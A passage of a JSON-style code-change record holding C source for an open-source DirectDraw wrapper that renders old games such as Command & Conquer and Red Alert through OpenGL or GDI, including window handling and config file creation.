{\n            if(ddraw->vhack && detect_cutscene())\n            {\n                scale_w *= (float)CUTSCENE_WIDTH / ddraw->width;\n                scale_h *= (float)CUTSCENE_HEIGHT / ddraw->height;\n\n                if (ddraw->cursorclip.width != CUTSCENE_WIDTH || ddraw->cursorclip.height != CUTSCENE_HEIGHT)\n                {\n                    ddraw->cursorclip.width = CUTSCENE_WIDTH;\n                    ddraw->cursorclip.height = CUTSCENE_HEIGHT;\n                    ddraw->cursor.x = CUTSCENE_WIDTH / 2;\n                    ddraw->cursor.y = CUTSCENE_HEIGHT / 2;\n                }\n            }\n            else\n            {\n                if (ddraw->cursorclip.width != ddraw->width || ddraw->cursorclip.height != ddraw->height)\n                {\n                    ddraw->cursorclip.width = ddraw->width;\n                    ddraw->cursorclip.height = ddraw->height;\n                    ddraw->cursor.x = ddraw->width / 2;\n                    ddraw->cursor.y = ddraw->height / 2;\n                }\n            }\n\n            for(i=0; i<ddraw->height; i++)\n            {\n                for(j=0; j<ddraw->width; j++)\n                {\n                    tex[i*ddraw->width+j] = ddraw->primary->palette->data_bgr[((unsigned char *)ddraw->primary->surface)[i*ddraw->primary->lPitch + j*ddraw->primary->lXPitch]];\n                }\n            }\n        }\n        LeaveCriticalSection(&ddraw->cs);\n\n        glTexSubImage2D(GL_TEXTURE_2D, 0, 0, 0, ddraw->width, ddraw->height, GL_RGBA, GL_UNSIGNED_BYTE, tex);\n\n        glBegin(GL_TRIANGLE_FAN);\n        glTexCoord2f(0,0);              glVertex2f(-1,  1);\n        glTexCoord2f(scale_w,0);        glVertex2f( 1,  1);\n        glTexCoord2f(scale_w,scale_h);  glVertex2f( 1, -1);\t\n        glTexCoord2f(0,scale_h);        glVertex2f(-1, -1);\n        glEnd();\n\n        SwapBuffers(ddraw->render.hDC);\n\n        if(ddraw->render.maxfps > 0)\n        {\n            tick_end = GetTickCount();\n\n            if(tick_end - tick_start < frame_len)\n            {\n                Sleep( frame_len - (tick_end - tick_start) );\n            }\n        }\n\n        SetEvent(ddraw->render.ev);\n    }\n\n    HeapFree(GetProcessHeap(), 0, tex);\n\n    wglMakeCurrent(NULL, NULL);\n    wglDeleteContext(hRC);\n\n    return 0;\n}\n\nstatic unsigned char getPixel(int x, int y)\n{\n    return ((unsigned char *)ddraw->primary->surface)[y*ddraw->primary->lPitch + x*ddraw->primary->lXPitch];\n}\n\nBOOL detect_cutscene()\n{\n    if(ddraw->width <= CUTSCENE_WIDTH || ddraw->height <= CUTSCENE_HEIGHT)\n        return FALSE;\n\n    return getPixel(CUTSCENE_WIDTH + 1, 0) == 0 || getPixel(CUTSCENE_WIDTH + 5, 1) == 0 ? TRUE : FALSE;\n}\n", "render_soft.c": "/*\n * Copyright (c) 2011 Toni Spets <toni.spets@iki.fi>\n *\n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n */\n\n#include <windows.h>\n#include <stdio.h>\n\n#include \"main.h\"\n#include \"surface.h\"\n\nDWORD WINAPI render_soft_main(void)\n{\n    PBITMAPINFO bmi = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(BITMAPINFOHEADER) + sizeof(RGBQUAD) * 256);\n\n    bmi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);\n    bmi->bmiHeader.biWidth = ddraw->width;\n    bmi->bmiHeader.biHeight = -ddraw->height;\n    bmi->bmiHeader.biPlanes = 1;\n    bmi->bmiHeader.biBitCount = ddraw->bpp;\n    bmi->bmiHeader.biCompression = BI_RGB;\n\n    DWORD dst_top = 0;\n    DWORD dst_left = 0;\n    DWORD dst_width = ddraw->render.width;\n    DWORD dst_height = ddraw->render.height;\n\n    DWORD tick_start = 0;\n    DWORD tick_end = 0;\n    DWORD frame_len = 0;\n\n    if (ddraw->boxing)\n    {\n        dst_width = ddraw->width;\n        dst_height = ddraw->height;\n\n        /* test if we can double scale the window */\n        if (ddraw->width * 2 <= ddraw->render.width && ddraw->height * 2 <= ddraw->render.height)\n        {\n            dst_width *= 2;\n            dst_height *= 2;\n        }\n\n        dst_top = ddraw->render.height / 2 - dst_height / 2;\n        dst_left = ddraw->render.width / 2 - dst_width / 2;\n    }\n\n    if(ddraw->render.maxfps < 0)\n    {\n        ddraw->render.maxfps = ddraw->mode.dmDisplayFrequency;\n    }\n\n    if(ddraw->render.maxfps > 0)\n    {\n        frame_len = 1000.0f / ddraw->render.maxfps;\n    }\n\n    while (ddraw->render.run && WaitForSingleObject(ddraw->render.sem, INFINITE) != WAIT_FAILED)\n    {\n        if(ddraw->render.maxfps > 0)\n        {\n            tick_start = GetTickCount();\n        }\n\n        EnterCriticalSection(&ddraw->cs);\n\n        if (ddraw->primary && (ddraw->primary->palette || ddraw->bpp == 16))\n        {\n            if (ddraw->primary->palette && ddraw->primary->palette->data_rgb == NULL)\n            {\n                ddraw->primary->palette->data_rgb = &bmi->bmiColors[0];\n            }\n\n            if (ddraw->render.width != ddraw->width || ddraw->render.height != ddraw->height)\n            {\n                StretchDIBits(ddraw->render.hDC, dst_left, dst_top, dst_width, dst_height, 0, 0, ddraw->width, ddraw->height, ddraw->primary->surface, bmi, DIB_RGB_COLORS, SRCCOPY);\n            }\n            else\n            {\n                SetDIBitsToDevice(ddraw->render.hDC, 0, 0, ddraw->width, ddraw->height, 0, 0, 0, ddraw->height, ddraw->primary->surface, bmi, DIB_RGB_COLORS);\n            }\n        }\n        LeaveCriticalSection(&ddraw->cs);\n\n        if(ddraw->render.maxfps > 0)\n        {\n            tick_end = GetTickCount();\n\n            if(tick_end - tick_start < frame_len)\n            {\n                Sleep( frame_len - (tick_end - tick_start) );\n            }\n        }\n\n        SetEvent(ddraw->render.ev);\n    }\n\n    HeapFree(GetProcessHeap(), 0, bmi);\n\n    return TRUE;\n}\n"}, "files_after": {"main.c": "/*\n * Copyright (c) 2010 Toni Spets <toni.spets@iki.fi>\n *\n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n */\n\n#include <windows.h>\n#include <windowsx.h>\n#include <stdio.h>\n#include <ctype.h>\n#include \"ddraw.h\"\n\n#include \"main.h\"\n#include \"palette.h\"\n#include \"surface.h\"\n#include \"clipper.h\"\n\n#define IDR_MYMENU 93\n\n/* from mouse.c */\nBOOL WINAPI fake_GetCursorPos(LPPOINT lpPoint);\nvoid mouse_init(HWND);\nvoid mouse_lock();\nvoid mouse_unlock();\n\n/* from screenshot.c */\n#ifdef HAVE_LIBPNG\nBOOL screenshot(struct IDirectDrawSurfaceImpl *);\n#endif\n\nIDirectDrawImpl *ddraw = NULL;\n\nDWORD WINAPI render_main(void);\nDWORD WINAPI render_soft_main(void);\nDWORD WINAPI render_dummy_main(void);\n\nHRESULT __stdcall ddraw_Compact(IDirectDrawImpl *This)\n{\n    printf(\"DirectDraw::Compact(This=%p)\\n\", This);\n\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_DuplicateSurface(IDirectDrawImpl *This, LPDIRECTDRAWSURFACE src, LPDIRECTDRAWSURFACE *dest)\n{\n    printf(\"DirectDraw::DuplicateSurface(This=%p, ...)\\n\", This);\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_EnumDisplayModes(IDirectDrawImpl *This, DWORD a, LPDDSURFACEDESC b, LPVOID c, LPDDENUMMODESCALLBACK d)\n{\n    printf(\"DirectDraw::EnumDisplayModes(This=%p, ...)\\n\", This);\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_EnumSurfaces(IDirectDrawImpl *This, DWORD a, LPDDSURFACEDESC b, LPVOID c, LPDDENUMSURFACESCALLBACK d)\n{\n    printf(\"DirectDraw::EnumSurfaces(This=%p, ...)\\n\", This);\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_FlipToGDISurface(IDirectDrawImpl *This)\n{\n    printf(\"DirectDraw::FlipToGDISurface(This=%p)\\n\", This);\n\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_GetCaps(IDirectDrawImpl *This, LPDDCAPS lpDDDriverCaps, LPDDCAPS lpDDEmulCaps)\n{\n    printf(\"DirectDraw::GetCaps(This=%p, lpDDDriverCaps=%p, lpDDEmulCaps=%p)\\n\", This, lpDDDriverCaps, lpDDEmulCaps);\n\n    if(lpDDDriverCaps)\n    {\n        lpDDDriverCaps->dwSize = sizeof(DDCAPS);\n        lpDDDriverCaps->dwCaps = DDCAPS_BLT|DDCAPS_PALETTE;\n        lpDDDriverCaps->dwCKeyCaps = 0;\n        lpDDDriverCaps->dwPalCaps = DDPCAPS_8BIT|DDPCAPS_PRIMARYSURFACE;\n        lpDDDriverCaps->dwVidMemTotal = 16777216;\n        lpDDDriverCaps->dwVidMemFree = 16777216;\n        lpDDDriverCaps->dwMaxVisibleOverlays = 0;\n        lpDDDriverCaps->dwCurrVisibleOverlays = 0;\n        lpDDDriverCaps->dwNumFourCCCodes = 0;\n        lpDDDriverCaps->dwAlignBoundarySrc = 0;\n        lpDDDriverCaps->dwAlignSizeSrc = 0;\n        lpDDDriverCaps->dwAlignBoundaryDest = 0;\n        lpDDDriverCaps->dwAlignSizeDest = 0;\n    }\n\n    if(lpDDEmulCaps)\n    {\n        lpDDEmulCaps->dwSize = 0;\n    }\n\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_GetDisplayMode(IDirectDrawImpl *This, LPDDSURFACEDESC a)\n{\n    printf(\"DirectDraw::GetDisplayMode(This=%p, ...)\\n\", This);\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_GetFourCCCodes(IDirectDrawImpl *This, LPDWORD a, LPDWORD b)\n{\n    printf(\"DirectDraw::GetFourCCCodes(This=%p, ...)\\n\", This);\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_GetGDISurface(IDirectDrawImpl *This, LPDIRECTDRAWSURFACE *a)\n{\n    printf(\"DirectDraw::GetGDISurface(This=%p, ...)\\n\", This);\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_GetMonitorFrequency(IDirectDrawImpl *This, LPDWORD a)\n{\n    printf(\"DirectDraw::GetMonitorFrequency(This=%p, ...)\\n\", This);\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_GetScanLine(IDirectDrawImpl *This, LPDWORD a)\n{\n    printf(\"DirectDraw::GetScanLine(This=%p, ...)\\n\", This);\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_GetVerticalBlankStatus(IDirectDrawImpl *This, LPBOOL a)\n{\n    printf(\"DirectDraw::GetVerticalBlankStatus(This=%p, ...)\\n\", This);\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_Initialize(IDirectDrawImpl *This, GUID *a)\n{\n    printf(\"DirectDraw::Initialize(This=%p, ...)\\n\", This);\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_RestoreDisplayMode(IDirectDrawImpl *This)\n{\n    printf(\"DirectDraw::RestoreDisplayMode(This=%p)\\n\", This);\n\n    if(!This->render.run)\n    {\n        return DD_OK;\n    }\n\n    /* only stop drawing in GL mode when minimized */\n    if (This->renderer == render_main)\n    {\n        EnterCriticalSection(&This->cs);\n        This->render.run = FALSE;\n        ReleaseSemaphore(ddraw->render.sem, 1, NULL);\n        LeaveCriticalSection(&This->cs);\n\n        WaitForSingleObject(This->render.thread, INFINITE);\n        This->render.thread = NULL;\n    }\n\n    if(!ddraw->windowed)\n    {\n        ChangeDisplaySettings(&This->mode, 0);\n    }\n\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_SetDisplayMode(IDirectDrawImpl *This, DWORD width, DWORD height, DWORD bpp)\n{\n    printf(\"DirectDraw::SetDisplayMode(This=%p, width=%d, height=%d, bpp=%d)\\n\", This, (unsigned int)width, (unsigned int)height, (unsigned int)bpp);\n\n    This->mode.dmSize = sizeof(DEVMODE);\n    This->mode.dmDriverExtra = 0;\n\n    if(EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &This->mode) == FALSE)\n    {\n        /* not expected */\n        return DDERR_UNSUPPORTED;\n    }\n\n    This->width = width;\n    This->height = height;\n    This->bpp = bpp;\n    This->cursorclip.width = width;\n    This->cursorclip.height = height;\n\n    ddraw->cursor.x = ddraw->cursorclip.width / 2;\n    ddraw->cursor.y = ddraw->cursorclip.height / 2;\n\n    if(This->render.width < This->width)\n    {\n        This->render.width = This->width;\n    }\n    if(This->render.height < This->height)\n    {\n        This->render.height = This->height;\n    }\n\n    This->render.run = TRUE;\n\n    if (This->renderer == render_dummy_main)\n    {\n        if(This->render.thread == NULL)\n        {\n            This->render.thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)This->renderer, NULL, 0, NULL);\n        }\n        return DD_OK;\n    }\n\n    mouse_unlock();\n\t\n\tconst HANDLE hbicon = LoadImage(GetModuleHandle(0), MAKEINTRESOURCE(IDR_MYMENU), IMAGE_ICON, GetSystemMetrics(SM_CXICON), GetSystemMetrics(SM_CYICON), 0);\n\tif (hbicon)\n\t\tSendMessage(This->hWnd, WM_SETICON, ICON_BIG, (LPARAM)hbicon);\n\n\tconst HANDLE hsicon = LoadImage(GetModuleHandle(0), MAKEINTRESOURCE(IDR_MYMENU), IMAGE_ICON, GetSystemMetrics(SM_CXSMICON), GetSystemMetrics(SM_CYSMICON), 0);\n\tif (hsicon)\n\t\tSendMessage(This->hWnd, WM_SETICON, ICON_SMALL, (LPARAM)hsicon);\n\n    if(This->windowed)\n    {\n        if(!This->windowed_init)\n        {\n            if (!This->border)\n            {\n                SetWindowLong(This->hWnd, GWL_STYLE, GetWindowLong(This->hWnd, GWL_STYLE) & ~(WS_CAPTION | WS_THICKFRAME | WS_MINIMIZE | WS_MAXIMIZE | WS_SYSMENU));\n            }\n            else\n            {\n                SetWindowLong(This->hWnd, GWL_STYLE, GetWindowLong(This->hWnd, GWL_STYLE) | WS_CAPTION | WS_BORDER | WS_SYSMENU | WS_MINIMIZEBOX);\n            }\n\n            /* center the window with correct dimensions */\n            int x = (This->mode.dmPelsWidth / 2) - (This->render.width / 2);\n            int y = (This->mode.dmPelsHeight / 2) - (This->render.height / 2);\n            RECT dst = { x, y, This->render.width+x, This->render.height+y };\n            AdjustWindowRect(&dst, GetWindowLong(This->hWnd, GWL_STYLE), FALSE);\n            SetWindowPos(This->hWnd, HWND_NOTOPMOST, dst.left, dst.top, (dst.right - dst.left), (dst.bottom - dst.top), SWP_SHOWWINDOW);\n\n            This->windowed_init = TRUE;\n        }\n    }\n    else\n    {\n        SetWindowPos(This->hWnd, HWND_TOPMOST, 0, 0, This->render.width, This->render.height, SWP_SHOWWINDOW);\n\n        mouse_lock();\n\n        memset(&This->render.mode, 0, sizeof(DEVMODE));\n        This->render.mode.dmSize = sizeof(DEVMODE);\n        This->render.mode.dmFields = DM_PELSWIDTH|DM_PELSHEIGHT;\n        This->render.mode.dmPelsWidth = This->render.width;\n        This->render.mode.dmPelsHeight = This->render.height;\n        if(This->render.bpp)\n        {\n            This->render.mode.dmFields |= DM_BITSPERPEL;\n            This->render.mode.dmBitsPerPel = This->render.bpp;\n        }\n\n        if(!This->devmode && ChangeDisplaySettings(&This->render.mode, CDS_FULLSCREEN) != DISP_CHANGE_SUCCESSFUL)\n        {\n            This->render.run = FALSE;\n            return DDERR_INVALIDMODE;\n        }\n    }\n\n    if(This->render.thread == NULL)\n    {\n        This->render.thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)This->renderer, NULL, 0, NULL);\n    }\n\n    return DD_OK;\n}\n\n/* minimal window proc for dummy renderer as everything is emulated */\nLRESULT CALLBACK dummy_WndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)\n{\n    switch(uMsg)\n    {\n        /* if the plugin window changes */\n        case WM_USER:\n            ddraw->hWnd = (HWND)lParam;\n            ddraw->render.hDC = GetDC(ddraw->hWnd);\n        case WM_ACTIVATEAPP:\n            if (wParam == TRUE)\n            {\n                break;\n            }\n        case WM_SIZE:\n        case WM_NCACTIVATE:\n            return DefWindowProc(hWnd, uMsg, wParam, lParam);\n        case WM_MOUSEMOVE:\n        case WM_NCMOUSEMOVE:\n            ddraw->cursor.x = GET_X_LPARAM(lParam);\n            ddraw->cursor.y = GET_Y_LPARAM(lParam);\n            break;\n    }\n\n    if (ddraw->WndProc)\n    {\n        return ddraw->WndProc(hWnd, uMsg, wParam, lParam);\n    }\n\n    return DefWindowProc(hWnd, uMsg, wParam, lParam);\n}\n\nLRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)\n{\n    RECT rc = { 0, 0, ddraw->render.width, ddraw->render.height };\n\n    switch(uMsg)\n    {\n        /* Carmageddon stops the main loop when it sees these, DefWindowProc is also bad */\n        case WM_WINDOWPOSCHANGING:\n        case WM_WINDOWPOSCHANGED:\n            return 0;\n\n        /* C&C and RA really don't want to close down */\n        case WM_SYSCOMMAND:\n            if (wParam == SC_CLOSE)\n            {\n                exit(0);\n            }\n            return DefWindowProc(hWnd, uMsg, wParam, lParam);\n\n        case WM_ACTIVATE:\n            if (wParam == WA_ACTIVE || wParam == WA_CLICKACTIVE)\n            {\n                if (wParam == WA_ACTIVE)\n                {\n                    mouse_lock();\n                }\n                if (!ddraw->windowed)\n                {\n                    ChangeDisplaySettings(&ddraw->render.mode, CDS_FULLSCREEN);\n                }\n            }\n            else if (wParam == WA_INACTIVE)\n            {\n                mouse_unlock();\n\n                /* minimize our window on defocus when in fullscreen */\n                if (!ddraw->windowed)\n                {\n                    ChangeDisplaySettings(&ddraw->mode, 0);\n                    ShowWindow(ddraw->hWnd, SW_MINIMIZE);\n                }\n            }\n            return 0;\n\n        case WM_MOUSELEAVE:\n            mouse_unlock();\n            return 0;\n\n        case WM_ACTIVATEAPP:\n            /* C&C and RA stop drawing when they receive this with FALSE wParam, disable in windowed mode */\n            if (ddraw->windowed)\n            {\n                return 0;\n            }\n            break;\n\n        case WM_KEYDOWN:\n            if(wParam == VK_CONTROL || wParam == VK_TAB)\n            {\n                if(GetAsyncKeyState(VK_CONTROL) & 0x8000 && GetAsyncKeyState(VK_TAB) & 0x8000)\n                {\n                    mouse_unlock();\n                    return 0;\n                }\n            }\n#ifdef HAVE_LIBPNG\n            if(wParam == VK_CONTROL || wParam == 0x53 /* S */)\n            {\n                if(GetAsyncKeyState(VK_CONTROL) & 0x8000 && GetAsyncKeyState(0x53) & 0x8000)\n                {\n                    screenshot(ddraw->primary);\n                    return 0;\n                }\n            }\n#endif\n            break;\n\n        /* button up messages reactivate cursor lock */\n        case WM_LBUTTONUP:\n        case WM_RBUTTONUP:\n        case WM_MBUTTONUP:\n            if (ddraw->mhack && !ddraw->locked)\n            {\n                ddraw->cursor.x = LOWORD(lParam) * ((float)ddraw->width / ddraw->render.width);\n                ddraw->cursor.y = HIWORD(lParam) * ((float)ddraw->height / ddraw->render.height);\n                mouse_lock();\n                return 0;\n            }\n            /* fall through for lParam */\n\n        /* down messages are ignored if we have no cursor lock */\n        case WM_LBUTTONDOWN:\n        case WM_RBUTTONDOWN:\n        case WM_MBUTTONDOWN:\n        case WM_MOUSEMOVE:\n            if (ddraw->mhack)\n            {\n                if (!ddraw->locked)\n                {\n                    return 0;\n                }\n\n                fake_GetCursorPos(NULL); /* update our own cursor */\n                lParam = MAKELPARAM(ddraw->cursor.x, ddraw->cursor.y);\n            }\n\n            if (ddraw->devmode)\n            {\n                mouse_lock();\n                ddraw->cursor.x = GET_X_LPARAM(lParam);\n                ddraw->cursor.y = GET_Y_LPARAM(lParam);\n            }\n            break;\n\n        /* make sure we redraw when WM_PAINT is requested */\n        case WM_PAINT:\n            EnterCriticalSection(&ddraw->cs);\n            ReleaseSemaphore(ddraw->render.sem, 1, NULL);\n            LeaveCriticalSection(&ddraw->cs);\n            break;\n\n        case WM_ERASEBKGND:\n            EnterCriticalSection(&ddraw->cs);\n            FillRect(ddraw->render.hDC, &rc, (HBRUSH) GetStockObject(BLACK_BRUSH));\n            ReleaseSemaphore(ddraw->render.sem, 1, NULL);\n            LeaveCriticalSection(&ddraw->cs);\n            break;\n    }\n\n    return ddraw->WndProc(hWnd, uMsg, wParam, lParam);\n}\n\nHRESULT __stdcall ddraw_SetCooperativeLevel(IDirectDrawImpl *This, HWND hWnd, DWORD dwFlags)\n{\n    PIXELFORMATDESCRIPTOR pfd;\n\n    printf(\"DirectDraw::SetCooperativeLevel(This=%p, hWnd=0x%08X, dwFlags=0x%08X)\\n\", This, (unsigned int)hWnd, (unsigned int)dwFlags);\n\n    /* Red Alert for some weird reason does this on Windows XP */\n    if(hWnd == NULL)\n    {\n        return DDERR_INVALIDPARAMS;\n    }\n\n    if (This->hWnd == NULL)\n    {\n        This->hWnd = hWnd;\n    }\n\n    mouse_init(hWnd);\n\n    This->WndProc = (LRESULT CALLBACK (*)(HWND, UINT, WPARAM, LPARAM))GetWindowLong(hWnd, GWL_WNDPROC);\n\n    if (This->renderer == render_dummy_main)\n    {\n        This->render.hDC = GetDC(This->hWnd);\n        SetWindowLong(hWnd, GWL_WNDPROC, (LONG)dummy_WndProc);\n        ShowWindow(hWnd, SW_HIDE);\n        PostMessage(hWnd, WM_ACTIVATEAPP, TRUE, TRUE);\n        PostMessage(This->hWnd, WM_USER, 0, (LPARAM)hWnd);\n        return DD_OK;\n    }\n\n    SetWindowLong(This->hWnd, GWL_WNDPROC, (LONG)WndProc);\n\n    if(!This->render.hDC)\n    {\n        This->render.hDC = GetDC(This->hWnd);\n\n        memset(&pfd, 0, sizeof(PIXELFORMATDESCRIPTOR));\n        pfd.nSize = sizeof(PIXELFORMATDESCRIPTOR);\n        pfd.nVersion = 1;\n        pfd.dwFlags = PFD_DRAW_TO_WINDOW | PFD_DOUBLEBUFFER | (This->renderer == render_main ? PFD_SUPPORT_OPENGL : 0);\n        pfd.iPixelType = PFD_TYPE_RGBA;\n        pfd.cColorBits = ddraw->render.bpp ? ddraw->render.bpp : ddraw->mode.dmBitsPerPel;\n        pfd.iLayerType = PFD_MAIN_PLANE;\n        SetPixelFormat( This->render.hDC, ChoosePixelFormat( This->render.hDC, &pfd ), &pfd );\n    }\n\n    SetCursor(LoadCursor(NULL, IDC_ARROW));\n\n    GetWindowText(This->hWnd, (LPTSTR)&This->title, sizeof(This->title));\n\n\tif (!strcmp(This->title, \"Red Alert\"))\n\t{\n\t\tddraw->isredalert = 1;\n\t}\n\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_WaitForVerticalBlank(IDirectDrawImpl *This, DWORD a, HANDLE b)\n{\n#if _DEBUG\n    printf(\"DirectDraw::WaitForVerticalBlank(This=%p, ...)\\n\", This);\n#endif\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_QueryInterface(IDirectDrawImpl *This, REFIID riid, void **obj)\n{\n    printf(\"DirectDraw::QueryInterface(This=%p, riid=%08X, obj=%p)\\n\", This, (unsigned int)riid, obj);\n\n    *obj = This;\n\n    return S_OK;\n}\n\nULONG __stdcall ddraw_AddRef(IDirectDrawImpl *This)\n{\n    printf(\"DirectDraw::AddRef(This=%p)\\n\", This);\n\n    This->Ref++;\n\n    return This->Ref;\n}\n\nULONG __stdcall ddraw_Release(IDirectDrawImpl *This)\n{\n    printf(\"DirectDraw::Release(This=%p)\\n\", This);\n\n    This->Ref--;\n\n    if(This->Ref == 0)\n    {\n        if (This->hWnd && This->renderer == render_dummy_main)\n        {\n            PostMessage(This->hWnd, WM_USER, 0, 0);\n        }\n\n        if(This->render.run)\n        {\n            EnterCriticalSection(&This->cs);\n            This->render.run = FALSE;\n            ReleaseSemaphore(ddraw->render.sem, 1, NULL);\n            LeaveCriticalSection(&This->cs);\n\n            WaitForSingleObject(This->render.thread, INFINITE);\n            This->render.thread = NULL;\n        }\n\n        if(This->render.hDC)\n        {\n            ReleaseDC(This->hWnd, This->render.hDC);\n            This->render.hDC = NULL;\n        }\n\n        if(This->render.ev)\n        {\n            CloseHandle(This->render.ev);\n            ddraw->render.ev = NULL;\n        }\n\n        if(This->real_dll)\n        {\n            FreeLibrary(This->real_dll);\n        }\n\n        DeleteCriticalSection(&This->cs);\n\n        /* restore old wndproc, subsequent ddraw creation will otherwise fail */\n        SetWindowLong(This->hWnd, GWL_WNDPROC, (LONG)This->WndProc);\n        HeapFree(GetProcessHeap(), 0, This);\n        ddraw = NULL;\n        return 0;\n    }\n\n    return This->Ref;\n}\n\nstruct IDirectDrawImplVtbl iface =\n{\n    /* IUnknown */\n    ddraw_QueryInterface,\n    ddraw_AddRef,\n    ddraw_Release,\n    /* IDirectDrawImpl */\n    ddraw_Compact,\n    ddraw_CreateClipper,\n    ddraw_CreatePalette,\n    ddraw_CreateSurface,\n    ddraw_DuplicateSurface,\n    ddraw_EnumDisplayModes,\n    ddraw_EnumSurfaces,\n    ddraw_FlipToGDISurface,\n    ddraw_GetCaps,\n    ddraw_GetDisplayMode,\n    ddraw_GetFourCCCodes,\n    ddraw_GetGDISurface,\n    ddraw_GetMonitorFrequency,\n    ddraw_GetScanLine,\n    ddraw_GetVerticalBlankStatus,\n    ddraw_Initialize,\n    ddraw_RestoreDisplayMode,\n    ddraw_SetCooperativeLevel,\n    ddraw_SetDisplayMode,\n    ddraw_WaitForVerticalBlank\n};\n\nint stdout_open = 0;\nHRESULT WINAPI DirectDrawCreate(GUID FAR* lpGUID, LPDIRECTDRAW FAR* lplpDD, IUnknown FAR* pUnkOuter) \n{\n#if _DEBUG\n    if(!stdout_open)\n    {\n        freopen(\"stdout.txt\", \"w\", stdout);\n        setvbuf(stdout, NULL, _IONBF, 0);\n        stdout_open = 1;\n    }\n#endif\n\n    printf(\"DirectDrawCreate(lpGUID=%p, lplpDD=%p, pUnkOuter=%p)\\n\", lpGUID, lplpDD, pUnkOuter);\n\n    if(ddraw)\n    {\n        /* FIXME: check the calling module before passing the call! */\n        return ddraw->DirectDrawCreate(lpGUID, lplpDD, pUnkOuter);\n\n        /*\n        printf(\" returning DDERR_DIRECTDRAWALREADYCREATED\\n\");\n        return DDERR_DIRECTDRAWALREADYCREATED;\n        */\n    } \n\n    IDirectDrawImpl *This = (IDirectDrawImpl *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(IDirectDrawImpl));\n    This->lpVtbl = &iface;\n    printf(\" This = %p\\n\", This);\n    *lplpDD = (LPDIRECTDRAW)This;\n    This->Ref = 0;\n    ddraw_AddRef(This);\n\n    ddraw = This;\n\n    This->real_dll = LoadLibrary(\"system32\\\\ddraw.dll\");\n    if(!This->real_dll)\n    {\n        ddraw_Release(This);\n        return DDERR_GENERIC;\n    }\n\n    This->DirectDrawCreate = (HRESULT WINAPI (*)(GUID FAR*, LPDIRECTDRAW FAR*, IUnknown FAR*))GetProcAddress(This->real_dll, \"DirectDrawCreate\");\n\n    if(!This->DirectDrawCreate)\n    {\n        ddraw_Release(This);\n        return DDERR_GENERIC;\n    }\n\n    InitializeCriticalSection(&This->cs);\n    This->render.ev = CreateEvent(NULL, TRUE, FALSE, NULL);\n    This->render.sem = CreateSemaphore(NULL, 0, 1, NULL);\n\n    /* load configuration options from ddraw.ini */\n    char cwd[MAX_PATH];\n    char ini_path[MAX_PATH];\n    char tmp[256];\n    GetCurrentDirectoryA(sizeof(cwd), cwd);\n    snprintf(ini_path, sizeof(ini_path), \"%s\\\\ddraw.ini\", cwd);\n\n    if(GetFileAttributes(ini_path) == 0xFFFFFFFF)\n    {\n        FILE *fh = fopen(ini_path, \"w\");\n        fputs(\n            \"[ddraw]\\n\"\n            \"; width and height of the window, defaults to the size game requests\\r\\n\"\n            \"width=0\\n\"\n            \"height=0\\n\"\n            \"; bits per pixel, possible values: 16, 24 and 32, 0 = auto\\n\"\n            \"bpp=0\\n\"\n            \"windowed=true\\n\"\n            \"; show window borders in windowed mode\\n\"\n            \"border=true\\n\"\n            \"; use letter- or windowboxing to make a best fit (GDI only!)\\n\"\n            \"boxing=false\\n\"\n            \"; real rendering rate, -1 = screen rate, 0 = unlimited, n = cap\\n\"\n            \"maxfps=0\\n\"\n            \"; vertical synchronization, enable if you get tearing (OpenGL only)\\n\"\n            \"vsync=false\\n\"\n            \"; scaling filter, nearest = sharp, linear = smooth (OpenGL only)\\n\"\n            \"filter=nearest\\n\"\n            \"; automatic mouse sensitivity scaling\\n\"\n            \"adjmouse=false\\n\"\n            \"; manual 